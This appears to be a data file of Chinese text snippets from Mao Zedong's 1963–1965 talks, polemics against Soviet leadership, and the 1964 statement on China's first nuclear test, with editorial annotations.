王：我们学校贯彻了阶级路线，这次招生，百分之七十都是工人和贫下中农子弟。其它就是干部子弟，烈属子弟等。 毛：你们这个班有多少工农子弟？ 王：除了我以外还有两个干部子弟，其他都是工人、贫下中农子弟，他们表现很好，我向他们学到很多东西。 毛：他们和你的关系好不好？他们喜欢不喜欢和你接近？ 王：我认为我们关系还不错，我跟他们合得来，他们也跟我合得来。 毛：这样就好。 王：我们班有个干部子弟，表现可不好了，上课不用心听讲，下课也不练习，专看小说，有时在宿舍睡觉，星期六下午开会有时也不参加，星期天也不按时返校，有时星期天晚上，我们班或团员开会，他也不到，大家都对他有意见。 毛：你们教员允许你们上课打瞌睡，看小说吗？ 王：不允许。 毛：要允许学生上课看小说，要允许学生上课打瞌睡，要爱护学生身体，教员要少讲，要让学生多看，我看你讲的这个学生，将来可能有所作为。他就敢星期六不参加会，也敢星期日不按时返校。回去以后，你就告诉这学生，八、九点钟回校还太早，可以十一点，十二点再回去，谁让你们星期日晚上开会哪！ 王：原来我在师范学院时，星期天晚上一般不能用来开会的。星期天晚上的时间一般都归同学自己利用。有一次我们开支委会，几个干部商量好，准备在一个星期天晚上过组织生活，结果很多团员反对。有的团员还去和政治辅导员提出来，星期天晚上是我们自己利用的时间，晚上我们回不来。后来政治辅导员接受了团员的意见要我们改期开会。 毛：这个政治辅导员作得对。 王：我们这里尽占星期日的晚上开会，不是班会就是支委会，要不就是级里开会，要不就是党课学习小组。这学期从开学到我出来为止，我计算一下没有一个星期天晚上不开会的。 毛：回去以后，你带头造反。星期天你不要回去，开会就是不去。 王：我不敢，这是学校的制度规定，星期日一定要回校，否则别人会说我破坏学校制度。 毛：什么制度不制度，管他那一套，就是不回去，你说：我就是破坏学校制度。 王：这样做不行，会挨批评的。 毛：我看你这个人将来没有什么大作为。你怕人家说你破坏制度，又怕挨批评，又怕记过，又怕开除，又怕入不了党。有什么好怕的，最多就是开除。学校就应该允许学生造反。回去带头造反。 王：人家会说我，主席的亲戚还不听主席的话，带头破坏学校制度。人家会说我骄傲自满，无组织无纪律。 毛：你这个人哪？又怕人家批评你骄傲自满，又怕人家说你无组织无纪律，你怕什么呢？你说就是听了主席的话，我才造反的。我看你说的那个学生，将来可能比你有所作为，他就敢不服从你们学校的制度。我看你们这些人有些形而上学。 注 释 * 这是毛泽东同志同王海蓉谈话的节选。 〔1〕 王海蓉是外国语学院英语专修科学生，毛泽东的侄孙女。 〔2〕 章会娴是章士钊之女，王海蓉的同学。"},
    {"text": "”我说：“不，如果没有日本帝国主义发动大规模侵略，霸占了大半个中国，全中国人民就不可能团结起来反对帝国主义，中国共产党也就不可能胜利。"},
    {"text": "我说，日本垄断资本也不是完全赞成美帝国主义占领日本的，有一部分日本垄断资本家不满意这种占领，因为在美帝占领下，日本不仅丧失了殖民地，而且自己也受美国控制。"},
    {"text": "再看阿尔及利亚，民族解放军打了八年仗，法国在战争后期出动了八十万军队，民族解放军只有三四万军队，究竟是阿尔及利亚人民强大些，还是法国帝国主义强大些？"},
    {"text": "卡斯特罗军队八十多人从国外乘船回古巴登岸，激战后剩下的十二人，躲在农民家里，后来又起来搞游击战争，他们经过两年多，就取得了胜利。"},
    {"text": "不管什么人，不管是黑人、白人或是黄种人，不管他信什么宗教，是天主教、基督教、伊斯兰教或佛教，也包括一部分民族资产阶级，只要是反对帝国主义的，反对帝国主义走狗的，都应该团结，只不包括帝国主义在这些国家内的走狗。"},
    {"text": "一九三七年抗日战争爆发后，任国民党国防最高会议副主席，主张对日妥协，是国民党内亲日派首领。 一九三八年三月任国民党副总裁，同年十二月公开投降日本帝国主义，后任日本帝国主义扶植的南京傀儡政府主席。"},
    {"text": "一八六九年正式通航后，英、法两国垄断了苏伊士运河公司的绝大部分股份，每年从中获得巨额利润，英国还在运河地区建立了海外最大的军事基地。"},
    {"text": "佐佐木：这次我们来中国，同周恩来总理、廖承志先生 〔2〕 、赵安博先生 〔3〕 以及其他中国朋友一起，就日中问题，就围绕日中问题的亚非形势和世界形势，世界的帝国主义、新旧殖民主义等问题，交换了意见，得到了教益，并且找到了许多共同点。"},
    {"text": "佐佐木：日本社会党和日本的人民群众认为，日本是亚洲的一员，因此，它必须同关系很深的中国保持密切的关系，希望中国把日本当作亚洲的一员，同我们进行合作。"},
    {"text": "整个亚洲、非洲、拉丁美洲的人民都反对美帝国主义。 欧洲、北美、大洋洲也有许多人反对（美）帝国主义。 帝国主义者也反对（美）帝国主义，戴高乐反对美国就是证明。"},
    {"text": "在这里，我不是赞成再轰炸珍珠港，（众笑）也不是赞成占领菲律宾、越南、泰国、缅甸、印度尼西亚、马来亚，当然，我也不赞成再去打朝鲜和中国了。"},
    {"text": "日本完全独立起来，和整个亚洲、非洲、拉丁美洲、和欧洲的愿意反对美国帝国主义的人们，建立友好关系，解决经济方面的问题，互相往来，建立兄弟关系，岂不好吗？"},
    {"text": "从政党来说，过去参加日中友好运动的是革新政党（在日本革新政党包括社会党、共产党），现在保守党中的一部分人也下决心参加日中友好运动了。"},
    {"text": "黑田：保守党内和垄断资本中有一部分人也开始搞日中友好和日中贸易，当然也有跟美国走的，因此在保守党和垄断资本内部发生了矛盾和分裂。"},
    {"text": "苏联领土已经够大了，有二千多万平方公里，而人口只有两亿（你们日本人口有一亿，可是面积只有三十七万平方公里），一百多年前，把贝加尔湖以东，包括伯力、海参崴、勘察加半岛都划过去了。"},
    {"text": "从一九三四年到一九四四年，我们又用整风的办法，我们叫做“惩前毖后，治病救人”，“团结——批评——团结”的路线，说服那些犯错误的同志。"},
    {"text": "可见，我并不是一开始就很完善，曾相信过唯心论，有神论，而且我打过许多败仗，也犯过不少错误。 这些败仗、错误教育了我，别人的错误也教育了我。 就是那些整我的人，教育了我。"},
    {"text": "有了适合情况的比较，正确的政治方面的政策，军事方面的政策，经济方面的政策，文化方面的政策，组织路线的政策，党就可以前进，可以发展。"},
    {"text": "现在，世界上的共产党有一大批被修正主义领导人控制着。 世界上有一百多个共产党，现在分成两种共产党，一种是修正主义共产党，一种是马列主义共产党。"},
    {"text": "”由于毛主席贤明，所以虽然没有看过孙子兵法，但是也懂得兵法，我们是无法和毛主席相比的，不过，听了主席的谈话，我想，不读马克思主义的书，也可以从我们周围许多教员那里学习。"},
    {"text": "我有兄弟三个，有两个被国民党杀死了。 我的老婆也被国民党杀死了，我有个妹妹也被国民党杀死了。 有个侄儿也被国民党杀死了，有个儿子被美帝国主义炸死在朝鲜。"},
    {"text": "〔1〕 根据毛泽东的多次指示，在一千〇六十二名日本战犯（共关押一千一百零九人，关押期间死亡四十七人）中，中国政府决定仅对其中部分犯有严重罪行的战犯进行起诉，对次要和一般战犯不予起诉，宽大处理。 此后，最高人民检察院先后分三批对关押的一千〇十七名罪行较轻、悔罪较好的日本战犯宣布宽大处理，不予起诉，立即释放回国。"},
    {"text": "〔4〕 结构改革论，第二次世界大战后意大利共产党总书记陶里亚蒂提出的关于和平过渡社会主义的理论。 一九五六年十二月意共召开第八次代表大会，陶里亚蒂正式系统地提出“结构改革论”的理论和路线。"},
    {"text": "“结构改革论”的基本内容是：主张不诉诸使用暴力打碎旧的国家机器，通过议会斗争和群众斗争相结合的途径，争取群众大多数的支持，逐步改变国家内部社会力量的对比，使工人阶级及其同盟者进入国家领导机构，建立“新型民主制”，实现工人阶级的领导；"},
    {"text": "主张在宪法规定的范围内使经济关键部门有计划、有步骤地实行国有化，使经济管理部门民主化、经济规划化，实行土地改革，实现耕者有其田和技术进步。"},
    {"text": "”“结构改革”不仅是意共的基本路线，也为当时西欧一些国家的共产党所接受。 “结构改革论”也是七十年代兴起的“欧洲共产主义”的理论来源之一。"},
    {"text": "关于九评苏共中央的公开信的节录 关于九评苏共中央的公开信的节录 * （一九六三年、一九六四年） 一、关于斯大林问题 ——二评苏共中央的公开信 （一九六三年九月十三日） 斯大林问题，是一个世界范围内的大问题，曾经引起了世界各国一切阶级的反响，至今还在议论纷纷。"},
    {"text": "他领导的肃清反革命的工作，正确地惩办了很多必须惩办的反革命分子，但是也错判了一些好人，在一九三七年和一九三八年，曾经造成过肃反扩大化的错误。"},
    {"text": "对于斯大林的只占第二位的一些错误方面，应当作为历史教训，使苏联共产党人和各国共产党人引以为戒，不再重犯，或者少犯一些，这也是有益的。"},
    {"text": "早在二十年代末期和整个三十年代，随后又在四十年代的初期和中期，以毛泽东同志和刘少奇同志为代表的中国马克思列宁主义者，就在抵制斯大林的某些错误的影响，并且逐步克服了“左”倾和右倾机会主义的错误路线，终于把中国革命引导到胜利。 但是，由于斯大林的一些错误主张，是被某些中国同志所接受和实行的，中国人自己应当负责，所以我们党进行的反对“左”倾和右倾机会主义的斗争，从来只限于批评我们自己的犯了错误的那些同志，而没有把责任推到斯大林身上。"},
    {"text": "我们采取的方法是党内的批评和自我批评的正常方法，是从团结的愿望出发，经过批评或斗争，在新的基础上达到新的团结，因而收到了良好的效果。"},
    {"text": "赫鲁晓夫在苏共第二十次代表大会上所作的全盘否定斯大林的秘密报告，至今不敢拿出来同苏联人民和整个社会主义阵营各国人民见面，其原因就在于这个报告是一个见不得人的报告，是一个严重脱离群众的报告。"},
    {"text": "特别值得人们注意的是，苏共领导人在百般咒骂斯大林的同时，却对艾森豪威尔、肯尼迪 〔2〕 之流“表示尊重和信任”！ 咒骂斯大林是“伊凡雷帝 〔3〕 式的暴君”、“俄国历史上最大的独裁者”，却恭维艾森豪威尔和肯尼迪都“得到绝大多数美国人民的支持”！ 咒骂斯大林是“白痴”，却歌颂艾森豪威尔和肯尼迪“明智”！"},
    {"text": "斯大林是在一九五三年逝世的，三年以后，苏共领导在苏共第二十次代表大会上大反斯大林； 八年以后，苏共领导在苏共第二十二次代表大会上，又一次大反斯大林，并且搬尸焚尸。"},
    {"text": "无产阶级政党的领袖，不论是中央委员会委员，还是地方委员会委员，是在阶级斗争中、在群众的革命运动中产生的，是对群众忠心耿耿，同群众有血肉联系的，是善于把群众的意见正确地集中起来和坚持下去的。"},
    {"text": "三、苏共领导是当代最大的分裂主义者 ——七评苏共中央的公开信 （一九六四年二月四日） 苏共领导的修正主义和分裂主义，是国内资产阶级因素泛滥和增长起来的产物，也是帝国主义政策的产物，特别是美帝国主义的核讹诈政策和“和平演变”政策的产物。"},
    {"text": "四、关于赫鲁晓夫的假共产主义及其在世界历史上的教训 ——九评苏共中央的公开信 无产阶级专政的历史教训节选 （一九六四年七月十四日） （怎样才能防止资本主义复辟呢？"},
    {"text": "在这个问题上，毛泽东同志根据马克思列宁主义的基本原理，总结了中国无产阶级专政的实践经验，也研究了国际的主要是苏联的正面的和反面的经验，提出了系统的理论和政策，从而丰富了和发展了马克思列宁主义关于无产阶级专政的学说。 ） 毛泽东同志在这方面提出的理论和政策的主要内容是： 第一，必须用马克思列宁主义的对立统一的规律来观察社会主义社会。"},
    {"text": "他们不承认社会主义社会有矛盾，不承认在社会主义社会中，不仅有敌我矛盾，而且有人民内部矛盾，不懂得正确地区别和正确地处理这两类社会矛盾，这样也就不能正确地处理无产阶级专政问题。"},
    {"text": "单有在经济战线上（在生产资料所有制）的社会主义革命，是不够的，并且是不巩固的，必须还有一个政治战线上和一个思想战线上的彻底的社会主义革命。"},
    {"text": "在社会主义这个历史阶段中，必须坚持无产阶级专政，把社会主义革命进行到底，才能防止资本主义复辟，进行社会主义建设，为过渡到共产主义准备条件。"},
    {"text": "无产阶级和它的先锋队必须对社会主义社会做阶级分析，依靠坚决走社会主义道路的真正可靠的力量，争取一切可能争取的同盟者，团结占人口百分之九十五以上的人民群众，共同对付社会主义的敌人。 在农村中，在农业集体化以后，也必须依靠贫农、下中农，才能巩固无产阶级专政，才能巩固工农联盟，才能击败资本主义自发势力，不断地巩固和扩大社会主义阵地。"},
    {"text": "在这个运动中，要向那些敌视社会主义的资本主义势力和封建势力，向那些地主、富农、反革命分子、资产阶级右派分子，向那些贪污盗窃分子和蜕化变质分子，进行尖锐的针锋相对的斗争，打败他们对社会主义的进攻，把他们中间的大多数人改造成为新人。"},
    {"text": "从集体所有制过渡到全民所有制，从两种所有制过渡到单一的全民所有制，需要有一个相当长的发展过程。 集体所有制本身也有一个由低级向高级、由小到大的发展过程。"},
    {"text": "我们要经过文化革命，经过阶级斗争、生产斗争和科学实验的革命实践，建立一支广大的、为社会主义服务的、又红又专的工人阶级知识分子的队伍。"},
    {"text": "第十二，社会主义国家的人民武装部队必须永远置于无产阶级政党的领导和人民群众的监督之下，永远保持人民军队的光荣传统，军民一致，官兵一致。"},
    {"text": "必须真正实行“全世界无产阶级者联合起来”和“全世界无产者和被压迫民族联合起来”的战斗口号，坚决反对帝国主义和各国反动派的反共、反人民、反革命的政策，援助全世界被压迫阶级和被压迫民族的革命斗争。"},
    {"text": "在无产阶级专政时期，无产阶级政党必须保持和发展它同无产阶级和广大劳动群众的密切联系，保持和发扬它的生气勃勃的革命风格，坚持马克思列宁主义的普遍真理同本国的具体实践相结合的原则，坚持反对修正主义、反对教条主义和反对一切机会主义的斗争。"},
    {"text": "〔1〕 倍倍尔，德国社会民主党和第二国际的创始人和领导人之一。 卢森堡，德国社会民主党和第二国际的左翼领袖之一，德国共产党的创始人之一。"},
    {"text": "中华人民共和国政府声明 中华人民共和国政府声明 * （一九六四年十月十六日） 一九六四年十月十六日十五时，中国爆炸了一颗原子弹，成功地进行了第一次核试验。这是中国人民在加强国防力量、反对美帝国主义核讹诈和核威胁政策的斗争中所取得的重大成就。 保护自己，是任何一个主权国家不可剥夺的权利。保卫世界和平，是一切爱好和平的国家的共同职责。面临着日益增长的美国的核威胁，中国不能坐视不动。中国进行核试验，发展核武器，是被迫而为的。 中国政府一贯主张全面禁止和彻底销毁核武器。如果这个主张能够实现，中国本来用不着发展核武器。但是，我们的这个主张遭到美帝国主义的顽强抵抗。中国政府早已指出：一九六三年七月美英苏三国在莫斯科签订的部分禁止核试验条约，是一个愚弄世界人民的大骗局；这个条约企图巩固三个核大国的垄断地位，而把一切爱好和平的国家的手脚束缚起来；它不仅没有减少帝国主义对中国人民和全世界人民的核威胁，反而加重了这种威胁。美国政府当时就毫不隐讳地声明，签订这个条约，决不意味着美国不进行地下核试验，不使用、生产、储存、输出和扩散核武器。一年多来的事实，也充分证明了这一点。 一年多来，美国没有停止过在它已经进行的核试验的基础上生产各种核武器。 美国还精益求精，在一年多的时间内，进行了几次地下核试验，使它生产的核武器更趋完备。美国的核潜艇进驻日本，直接威胁着日本人民、中国人民和亚洲各国人民。美国正在通过所谓多边核力量把核武器扩散到西德复仇主义者手中，威胁德意志民主共和国和东欧社会主义国家的安全。美国的潜艇，携带着装有核弹头的北极星导弹，出没在台湾海峡、北部湾、地中海、太平洋、印度洋、大西洋，到处威胁着爱好和平的国家和一切反抗帝国主义和新老殖民主义的各国人民。在这种情况下，怎么能够由于美国暂时不进行大气层核试验的假象，就认为它对世界人民的核讹诈和核威胁不存在了呢？ 大家知道，毛泽东主席有一句名言：原子弹是纸老虎。过去我们这样看，现在我们仍然这样看。中国发展核武器，不是由于中国相信核武器的万能，要使用核武器。恰恰相反，中国发展核武器，正是为了打破核大国的核垄断，要消灭核武器。 中国政府忠于马克思列宁主义，忠于无产阶级国际主义。我们相信人民。决定战争胜负的是人，而不是任何武器。中国的命运决定于中国人民，世界的命运决定于世界各国人民，而不决定于核武器。中国发展核武器，是为了防御，为了保卫中国人民免受美国发动核战争的威胁。 中国政府郑重宣布，中国在任何时候、任何情况下，都不会首先使用核武器。 中国人民坚决支持全世界一切被压迫民族和被压迫人民的解放斗争。我们深信，各国人民依靠自己的斗争，加上互相支援，是一定可以取得胜利的。中国掌握了核武器，对于斗争中的各国革命人民，是一个巨大的鼓舞，对于保卫世界和平事业，是一个巨大的贡献。在核武器问题上，中国既不会犯冒险主义的错误，也不会犯投降主义的错误。中国人民是可以依赖的。 中国政府完全理解爱好和平的国家和人民要求停止一切核试验的善良愿望。但是，越来越多的国家懂得，核武器越是为美帝国主义及其合伙者所垄断，核战争的危险就越大。他们有，你们没有，他们神气得很。一旦反对他们的人也有了，他们就不那么神气了，核讹诈和核威胁的政策就不那么灵了，全面禁止和彻底销毁核武器的可能性也就增大了。我们衷心希望，核战争将永远不会发生。我们深信，只要全世界一切爱好和平的国家和人民共同努力，坚持斗争，核战争是可以防止的。 中国政府向世界各国政府郑重建议：召开世界各国首脑会议，讨论全面禁止和彻底销毁核武器问题。作为第一步，各国首脑会议应当达成协议，即拥有核武器的国家和很快可能拥有核武器的国家承担义务，保证不使用核武器，不对无核武器国家使用核武器，不对无核武器区使用核武器，彼此也不使用核武器。 如果已经拥有大量核武器的国家连保证不使用核武器这一点也做不到，怎么能够指望还没有核武器的国家相信它们的和平诚意，而不采取可能和必要的防御措施呢？ 中国政府将一如既往，尽一切努力，争取通过国际协商，促进全面禁止和彻底销毁核武器的崇高目标的实现。在这一天没有到来之前，中国政府和中国人民将坚定不移地走自己的路，加强国防，保卫祖国，保卫世界和平。 我们深信，核武器是人制造的，人一定能消灭核武器。 注 释 * 静火有言：本篇文章文风尖锐泼辣、客观冷峻而又大气恢宏，语言充满强烈的感情色彩，定是出自毛泽东主席之手。"},
    {"text": "打破核垄断，消灭核武器 打破核垄断，消灭核武器 * （一九六四年十月二十二日） 我国成功地爆炸了第一颗原子弹以后，在全世界引起了巨大的反响。"},
    {"text": "一切反对帝国主义、爱好和平的人民，特别是亚洲、非洲、拉丁美洲的革命人民，都欢欣鼓舞，热烈赞扬我国人民的这个重大成就，支持我国人民为反对美帝国主义核讹诈和核威胁而采取的正当措施。 社会主义各国人民、全世界爱好和平的人民、特别是亚洲、非洲、拉丁美洲的革命人民深信，社会主义中国手中的核武器，是保卫世界和平的强大力量。"},
    {"text": "在我国第一颗原子弹爆炸成功以后，美国总统约翰逊在不到三小时之内就发表声明加以反对，并且说中国的原子弹意思不大，不足以动摇美国的核霸权；"},
    {"text": "奇怪的是，一贯敌视中国人民的约翰逊，这一回却装出一副假仁假义的姿态，似乎美国之所以反对中国拥有核武器，并不是由于中国打破了美国的核垄断，而是出于对中国人民利益的关怀。 据约翰逊说，中国的核武器对于中国人民来说是“一个悲剧”，因为中国的“有限的资源”被用来制造核武器，而不能“用来改善中国人民的福利”。"},
    {"text": "中国实现了第一颗原子弹的爆炸，如果说是什么悲剧的话，不是别人的悲剧，而是美帝国主义的悲剧：它要使中国人民沦为核奴隶的迷梦破灭了，它的核垄断地位从根本上动摇了。"},
    {"text": "配备着核武器的美国第七舰队在中国沿海晃来晃去，美国在中国周围建立了一个又一个的核基地，美国军政头目嚣张跋扈地扬言要向中国扔核弹。"},
    {"text": "照约翰逊的说法，美国的核威胁能够增加中国人民的安全感，而中国人民拥有对付美国核威胁的核武器，反倒会增加中国人民的不安全感，这真是奇怪的逻辑!按照这种逻辑，中国人民要想安安稳稳过日子，就应当彻底解除武装，托庇于美国的“核保护伞”之下，除此别无出路。"},
    {"text": "中国有比原子弹更强大的东西，这就是：战无不胜的毛泽东思想，光荣的伟大的正确的中国共产党的领导，高度觉悟和坚强团结的六亿五千万人民，和优越的社会主义制度。"},
    {"text": "中国是一个社会主义国家，我们一向是根据中国人民的利益、社会主义阵营的利益、亚洲、非洲和拉丁美洲民族解放运动的利益、世界革命人民的利益和世界和平的利益来确定我们的外交政策的。"},
    {"text": "新中国成立以来十五年的历史，证明了在反对帝国主义的侵略政策和战争政策、支持各国人民革命运动、保卫世界和平的斗争中，社会主义的中国是完全可以信赖的。"},
    {"text": "中国发展核武器，并不是想以此作为资本来同你们讨价还价，做一笔什么买卖，而是要打破你们的核垄断，进而消灭核武器，以便永远消除笼罩着人类的核战争危险。"},
    {"text": "中国政府的这个立场，最鲜明不过地说明了中国发展核武器完全是为了自卫，为了抵抗美国的核威胁，归根到底，是为了全面禁止和彻底销毁核武器。"},
    {"text": "作为第一步，各国首脑会议应当达成协议，即拥有核武器的国家和很快可能拥有核武器的国家承担义务，保证不使用核武器，不对无核国家使用核武器，不对无核武器区使用核武器，彼此也不使用核武器。"},
    {"text": "约翰逊提出这么一大套东西，拿腊斯克 〔1〕 攻击中国的话来说，不过是一种烟幕，用来掩饰美国不敢承担不首先使用核武器的顽固而又虚弱的立场。"},
    {"text": "为了反对美国的核威胁，为了反对美国在它的侵略集团中间扩散核武器，一定会有越来越多的爱好和平的国家响应和支持中国政府的主张和建议。"},
    {"text": "社会主义阵营各国人民要团结起来，亚洲非洲拉丁美洲人民要团结起来，全世界人民要团结起来，为彻底粉碎美帝国主义的核讹诈和核威胁，为争取实现全面、彻底、干净、坚决地禁止和销毁核武器的崇高目标而奋斗到底! 注 释 * 静火有言：这篇文章充满了尖锐辛辣的毛式风格，应该是毛泽东同志为人民日报写的社论。"},
    {"text": "中国的大跃进 中国的大跃进 * （一九六三年九月、一九六四年十二月） 一 〔1〕 我国从十九世纪四十年代起，到二十世纪四十年代中期，共计一百零五年时间，全世界几乎一切大中小帝国主义国家都侵略过我国，都打过我们，除了最后一次，即抗日战争，由于国内外各种原因以日本帝国主义投降告终以外，没有一次战争不是以我国失败、签订丧权辱国条约而告终。其原因：一是社会制度腐败，二是经济技术落后。现在，我国社会制度变了，第一个原因基本解决了；但还没有彻底解决，社会还存在着阶级斗争。第二个原因也已开始有了一些改变，但要彻底改变，至少还需要几十年时间。如果不在今后几十年内，争取彻底改变我国经济和技术远远落后于帝国主义国家的状态，挨打是不可避免的。当然，帝国主义现在是处在衰落时代，我国，社会主义阵营，全世界被压迫人民和被压迫民族的革命斗争，都是处于上升的时代，世界性的战争有可能避免。这里存在着战争可以避免和战争不可避免这样两种可能性。但是我们应当以有可能挨打为出发点来部署我们的工作，力求在一个不太长久的时间内改变我国社会经济、技术方面的落后状态，否则我们就要犯错误。 （一九六三年九月） 二 〔2〕 我们不能走世界各国技术发展的老路，跟在别人后面一步一步地爬行。我们必须打破常规，尽量采用先进技术，在一个不太长的历史时期内，把我国建设成为一个社会主义的现代化的强国。我们所说的大跃进，就是这个意思。难道这是做不到的吗？是吹牛皮、放大炮吗？不，是做得到的。既不是吹牛皮，也不是放大炮。只要看我们的历史就可以知道了。我们不是在我们的国家里把貌似强大的帝国主义、封建主义、资本主义从基本上打倒了吗？我们不是从一个一穷二白的基地上经过十五年的努力，在社会主义革命和社会主义建设的各方面，也达到了可观的水平吗？我们不是也爆炸了一颗原子弹吗？过去西方人加给我们的所谓东方病夫的称号，现在不是抛掉了吗？为什么西方资产阶级能够做到的事，东方无产阶级就不能够做到呢？中国大革命家，我们的先辈孙中山先生，在本世纪初期就说过，中国将要出现一个大跃进。他的这种预见，必将在几十年的时间内实现。这是一种必然趋势，是任何反动势力所阻挡不了的。 （一九六四年十二月十三日） 注 释 * 这是毛泽东同志在审阅文件时加写的两段文字。 〔1〕 一是毛泽东审阅《关于工业发展问题（初稿）》时加写的一段文字。这个初稿后来没有形成正式文件。 〔2〕 二是毛泽东审阅周恩来在第三届全国人民代表大会第一次会议上的政府工作报告草稿时加写的一段文字。"},
    {"text": "同斯诺<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>的谈话——关于越南战争 同斯诺 〔1〕 的谈话 ——关于越南战争 * （一九六五年一月九日） 斯诺：我来这里见主席之前曾看了主席的军事著作，联系南越军事专家的说法，是不是可以说，现在南越战争 〔2〕 已经进入到运动战阶段，像中国的第三次国内革命战争那样？"},
    {"text": "最近看见报道说许多美国专家访问比基尼岛 〔17〕 ，他们登陆后看到老鼠照样在跑来跑去，鱼照样在湖里游来游去，井水还能喝，植物茂盛，鸟类很多，专家在进岛时要开辟道路，砍掉树木。"},
    {"text": "资产阶级也是在资本主义发展到一定程度时，就要反对封建主义。 美国没有封建制度，有殖民主义——英国，等美国资本主义发展到一定程度，它就要反对英国。"},
    {"text": "有的时候我们故意这么一叫，例如打金门几炮 〔31〕 ，就是因为我们打那么几炮，它觉得第七舰队不够了，把第六舰队开过来一部分，把旧金山的海军也开一部分过来。"},
    {"text": "一九五四年日内瓦会议后，美国为了取代法国在印度支那的宗主国地位，破坏日内瓦协议，在越南南方扶植建立以吴庭艳为总统的亲美的“越南共和国”。 一九六一年，美国对南越发动由美国出钱出枪、南越吴庭艳集团出人的“特种战争”，镇压越南南方军民的武装反抗。 一九六五年初美国一面对越南北方大规模连续轰炸，一面向越南南方增派大量军队，把侵越战争升级为“局部战争”。"},
    {"text": "中华人民共和国成立后，任中国人民解放军新疆军区副司令员、新疆生产建设兵团司令员、国防委员会委员、全国人大常委会委员、政协全国委员会副主席等职。"},
    {"text": "〔13〕 南北战争，是一八六一年至一八六五年由美国南部种植园主奴隶制与北部资产阶级雇佣劳动制之间的矛盾所引起的资产阶级民主革命战争。"},
    {"text": "在战争过程中，代表北部资产阶级利益的联邦政府总统林肯颁布了《宅地法》和《解放黑奴宣言》，并采取其他民主措施，激发了工人、农民和黑人的革命斗志，因而联邦政府取得了战争的胜利。"},
    {"text": "参加会议的有缅甸、锡兰（今斯里兰卡）、印度、印度尼西亚和巴基斯坦五个发起国，以及阿富汗、柬埔寨、中华人民共和国、埃及等，共二十九个亚非国家。"},
    {"text": "会议广泛讨论了民族主权、反殖民主义斗争、世界和平以及与会国之间的经济文化合作等问题，发表了《亚非会议最后公报》，提出了著名的关于促进世界和平与合作的十项原则。"},
    {"text": "〔25〕 北大西洋公约组织，一九四九年四月，美国、英国、法国、荷兰、比利时、卢森堡、挪威、葡萄牙、意大利、丹麦、冰岛和加拿大在华盛顿签署《北大西洋公约》。"},
    {"text": "它是在法国封建制度极端腐朽，第一等级（僧侣）和第二等级（贵族）与广大的第三等级（农民、城市平民和资产阶级）之间的矛盾日益尖锐化的情况下爆发的。"},
    {"text": "一七七五年美国独立战争爆发后，任大陆军总司令，将武装落后、组织松散的地方民军整编训练成为能与英军正面抗衡的正规军，领导美国取得独立战争的胜利。"},
    {"text": "〔31〕 指炮击金门：一九五八年七月，台湾国民党当局在美国的支持下叫嚷“反攻大陆”，并不断炮击福建沿海村镇。 为严惩国民党军，反对美国侵犯中国主权，人民解放军福建前线部队奉命于八月二十三日开始对国民党军金门防卫部和炮兵阵地等军事目标进行炮击，封锁了金门岛，中断国民党军的补给。"},
    {"text": "至一九五九年一月七日，共进行七次大规模炮击，十三次空战，三次海战，击落击伤国民党军飞机三十六架，击沉击伤军舰十七艘，毙伤国民党军七千余人。"},
    {"text": "〔32〕 一九四九年四月二十日至二十一日，当人民解放军渡江作战的时候，侵入中国内河长江的紫石英号等四艘英国军舰先后驶向人民解放军防区，妨碍渡江，中英双方发生了军事冲突。"},
    {"text": "〔33〕 日内瓦会议，指一九五四年四月二十六日至七月二十一日在瑞士日内瓦召开的讨论和平解决朝鲜问题和恢复印度支那和平问题的国际会议。"},
    {"text": "朝鲜北南双方及美、英、法以外的其他十二个侵略朝鲜北方的国家参加了朝鲜问题的讨论，越南民主共和国、老挝、柬埔寨和南越政权参加了印度支那问题的讨论。"},
    {"text": "关于恢复印度支那和平问题，分别达成关于在印度支那三国停止敌对行动的协定和《日内瓦会议最后宣言》（总称日内瓦协议），实现了印度支那的停战。"},
    {"text": "官僚主义者阶级是革命对象 官僚主义者阶级是革命对象 * （一九六五年一月二十九日） 管理也是社教。如果管理人员不到车间小组搞三同，拜老师学一门至几门手艺，那就一辈子会同工人阶级处于尖锐的阶级斗争状态中，最后必然被工人阶级把他们当作资产阶级打倒。不学会技术，长期当外行，管理也搞不好，以其昏昏，使人昭昭，是不行的。 官僚主义者阶级与工人阶级和贫下中农是两个尖锐对立的阶级。这些人 〔2〕 是已经变成或者正在变成吸工人血的资产阶级分子，他们怎么会认识呢？这些人是斗争对象，革命对象，社教运动决不能依靠他们，我们能依靠的，只是那些同工人没有仇恨，而又有革命精神的干部。 注 释 * 这是毛泽东同志在对陈正人 〔1〕 关于社教蹲点情况报告的批语和批注。 〔1〕 陈正人，时任农业机械部（一九六五年一月改为第八机械工业部）部长。 〔2〕 在印发这段批注的时候，薄一波在“这些人”的后面加了一个注释：“指那些企业领导人中坚决走资本主义道路的人”。"},
    {"text": "我们希望阿拉伯国家团结起来 我们希望阿拉伯国家 团结起来 * （一九六五年三月二十三日） 亚洲所有的革命者和政党应当团结起来，反对帝国主义。一两个国家的力量是不够的，团结起来，力量就大了。整个阿拉伯世界都在同帝国主义对抗，我们希望你们阿拉伯国家团结起来。 美国的手比我们长，到处侵略。一九五八年美国军队在黎巴嫩登陆，英国军队在约旦登陆，造成局势紧张。在世界舆论的压力下，美、英军队才被迫撤走。后来，黎巴嫩还发生了内战。在你们地中海有美国的第六舰队，在我们周围有美国的第七舰队。美国总共有四个舰队：第七舰队最大；其次是第六舰队；第二舰队分布在美国西海岸，是第七舰队的后备；第一舰队在美国东海岸，是第六舰队的后备。另外，美国在摩洛哥和利比亚等地有军事基地，英国在亚丁和波斯湾也有军事基地。 打日本帝国主义的时候，我们是同美、英、法合作的。日本降后，美国帮助蒋介石发动内战打我们，当时英、法已经没有力量来管我们的事情了。美国没有直接参战，它在中国沿海港口驻扎了一些军队，当我们消灭了蒋介石数百万军队，快要解放那些港口时，它的军队撤走了。后来，我们在朝鲜战场上遇见了美国军队，打了三年。现在，越南人民也遇见了美国军队。看来，美国是喜欢打仗的。朝鲜和越南离美国那么远，它还要派兵来。 我们两国都受过殖民主义的压迫。你们过去是法国管的，我们过去是受好几个帝国主义管的。帝国主义在中国划分势力范围，法国一块，英国一块，日本一块，后来都被我们赶走了。日本同我们在中国东北打了十四年，在中国其他地方打了八年。日本帝国主义对我们有帮助，使中国团结起来反对它，促进了中国的革命。现在美国军队占领我们的台湾，还占领南朝鲜和日本的许多地方，并在越南打仗，美国这种做法实际上是在教育我们亚洲人民团结起来，坚决斗争。比如越南人民，从前不知道怎么打仗，现在学会了。这就是帝国主义给我们的好处。帝国主义也会有好处，你们信不信？ 